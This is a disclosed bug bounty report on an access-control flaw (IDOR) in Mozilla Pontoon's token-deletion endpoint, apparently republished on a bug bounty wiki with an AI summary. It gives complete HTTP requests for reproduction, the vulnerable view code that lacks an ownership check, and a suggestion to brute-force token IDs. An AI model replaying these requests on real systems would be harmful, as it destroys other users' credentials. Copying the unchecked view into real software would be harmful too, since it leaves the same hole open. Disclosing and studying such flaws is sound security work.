User Can Delete Other Users' Personal Access Tokens at /delete-token/{token_id}/ on Mozilla Pontoon
The delete-token endpoint in Mozilla Pontoon did not verify that the requesting user owned the token being deleted. An attacker could delete any other user's personal access token by supplying its numeric ID.
Originally disclosed on HackerOne
- Triaged in 6 days
- Fixed in 5 months
- Paid in 13 days
- Disclosed after 7 months
Hi team, while reviewing the Mozilla Pontoon source code, I have found that a new feature has been added to Generate and Delete Personal Access Tokens for the Rest API. To Delete a token, a user sends a POST request to /delete-token/{token_id}/ endpoint with the numeric token ID. The developer forgot to put a check on user permissions at this endpoint, which allows a user to delete anyone's Personal Access Token.
Steps To Reproduce:
-
Log in to your
Victimaccount athttps://mozilla-pontoon-staging.herokuapp.com/. -
On the top right corner, click on your
profile iconand from the dropdown menu, click onsettings.
███████
- Prepare your proxy, like
Burp Suite, to capture incoming requests and change your display name.
████
- In proxy history, you will find a
POSTrequest to the/settingsendpoint.
███████
- Copy your
cookiesandcsrfmiddlewaretokenfrom that request.
███████
- Replace the
cookies,csrfmiddlewaretoken, and use this request.
POST /generate-token/ HTTP/1.1
Host: mozilla-pontoon-staging.herokuapp.com
Cookie: {your cookies here}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:142.0) Gecko/20100101 Firefox/142.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://mozilla-pontoon-staging.herokuapp.com/settings/
Content-Type: application/x-www-form-urlencoded
Content-Length: 94
Origin: https://mozilla-pontoon-staging.herokuapp.com
Dnt: 1
Upgrade-Insecure-Requests: 1
X-Requested-With: XMLHttpRequest
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive
csrfmiddlewaretoken={your csrf token here}&name=adil
- Upon sending the request, you will get your personal access token details in response.
████
-
Note the
new_token_id. -
Now log in to your
attackeraccount and repeat the same steps to get yourattackeraccountcookiesandcsrfmiddlewaretoken. -
Replace your
AttackerCookies,csrfmiddlewaretoken, andVictim token id that you have noted in the above stepin this request.
POST /delete-token/{Victim Token Id Here}/ HTTP/1.1
Host: mozilla-pontoon-staging.herokuapp.com
Cookie: {Attacker Cookies Here}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:142.0) Gecko/20100101 Firefox/142.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://mozilla-pontoon-staging.herokuapp.com/settings/
Content-Type: application/x-www-form-urlencoded
Content-Length: 94
Origin: https://mozilla-pontoon-staging.herokuapp.com
Dnt: 1
Upgrade-Insecure-Requests: 1
X-Requested-With: XMLHttpRequest
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive
csrfmiddlewaretoken={Attacker CSRF Token Here}
- Upon sending this request, you will get a
200 OKresponse with aToken Successfully Deletedmessage.
███
- Here is the code responsible for this vulnerability.
Link: https://github.com/mozilla/pontoon/blob/main/pontoon/contributors/views.py#L505-L523
def delete_token(request, token_id):
try:
token = PersonalAccessToken.objects.get(id=token_id)
token.delete()
return JsonResponse(
{
"status": "success",
"message": "Token deleted successfully!",
}
)
except PersonalAccessToken.DoesNotExist:
return JsonResponse(
{"status": "error", "message": "Token not found."}, status=404
)
- You can see that this code isn't checking for user permission.
Impact
An attacker can use a Brute Force tool, such as Burp Intruder, to delete a massive amount of tokens.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The delete_token view fetched a PersonalAccessToken by its ID and deleted it without checking that the token belonged to the requesting user.
Impact
An attacker could delete other users' personal access tokens, and could use a brute-force tool to delete a large number of tokens.
What the attacker needed
An account on the site; victim's token ID known or guessed
How it was found
- Log in to the victim account and open settings.
- Capture the POST request to the settings endpoint with a proxy.
- Copy the cookies and csrfmiddlewaretoken from that request.
- Send a POST to /generate-token/ with those values to create a token and note its ID.
- Log in as the attacker and capture the attacker's cookies and csrfmiddlewaretoken.
- Send a POST to /delete-token/{victim token id}/ using the attacker's cookies and csrf token.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A personal access token is like a password that lets a program talk to a service on your behalf. The website had a page for deleting these tokens, but it only looked up the token by its number and deleted it without checking who was asking. That meant any logged-in user could delete someone else's token if they knew or guessed its number.
What is IDOR?
One user can read or change another user's data, usually by changing an identifier the server trusts without checking who is asking. One of the most paid bug classes on web programs.